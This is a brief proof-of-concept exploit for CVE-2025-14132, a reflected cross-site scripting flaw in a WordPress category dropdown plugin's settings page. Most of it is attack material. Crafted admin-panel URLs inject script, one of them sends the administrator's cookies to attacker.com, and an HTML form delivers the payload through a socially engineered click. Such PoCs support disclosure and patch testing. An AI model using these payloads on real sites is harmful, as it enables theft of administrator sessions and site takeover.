CVE-2025-14132

<!-- CVE-2025-14132 PoC - Reflected XSS in Category Dropdown List WordPress Plugin --> <!-- Attack URL ( victim's WordPress admin panel ) --> <!-- Modify the domain and path accordingly --> <!-- PoC Explanation: 1. The vulnerable parameter is $_SERVER['PHP_SELF'] in settings.php 2. Attackers can inject arbitrary JavaScript through crafted URLs 3. Social engineering required to trick admin into clicking the link --> <!-- Example malicious URL --> <!-- http://target-wordpress-site.com/wp-admin/options-general.php?page=dropdown-category-list/settings.php/"><script>alert('XSS')</script> --> <!-- More dangerous payload - Cookie stealing --> <!-- http://target-wordpress-site.com/wp-admin/options-general.php?page=dropdown-category-list/settings.php/"><script>document.location='https://attacker.com/steal?c='+document.cookie</script> --> <!-- HTML form for demonstration --> <form action="http://target-wordpress-site.com/wp-admin/options-general.php" method="GET"> <input type="hidden" name="page" value="dropdown-category-list/settings.php/"><script>alert(String.fromCharCode(88,83,83))</script>"> <input type="submit" value="Click me (Social Engineering Required)"> </form>

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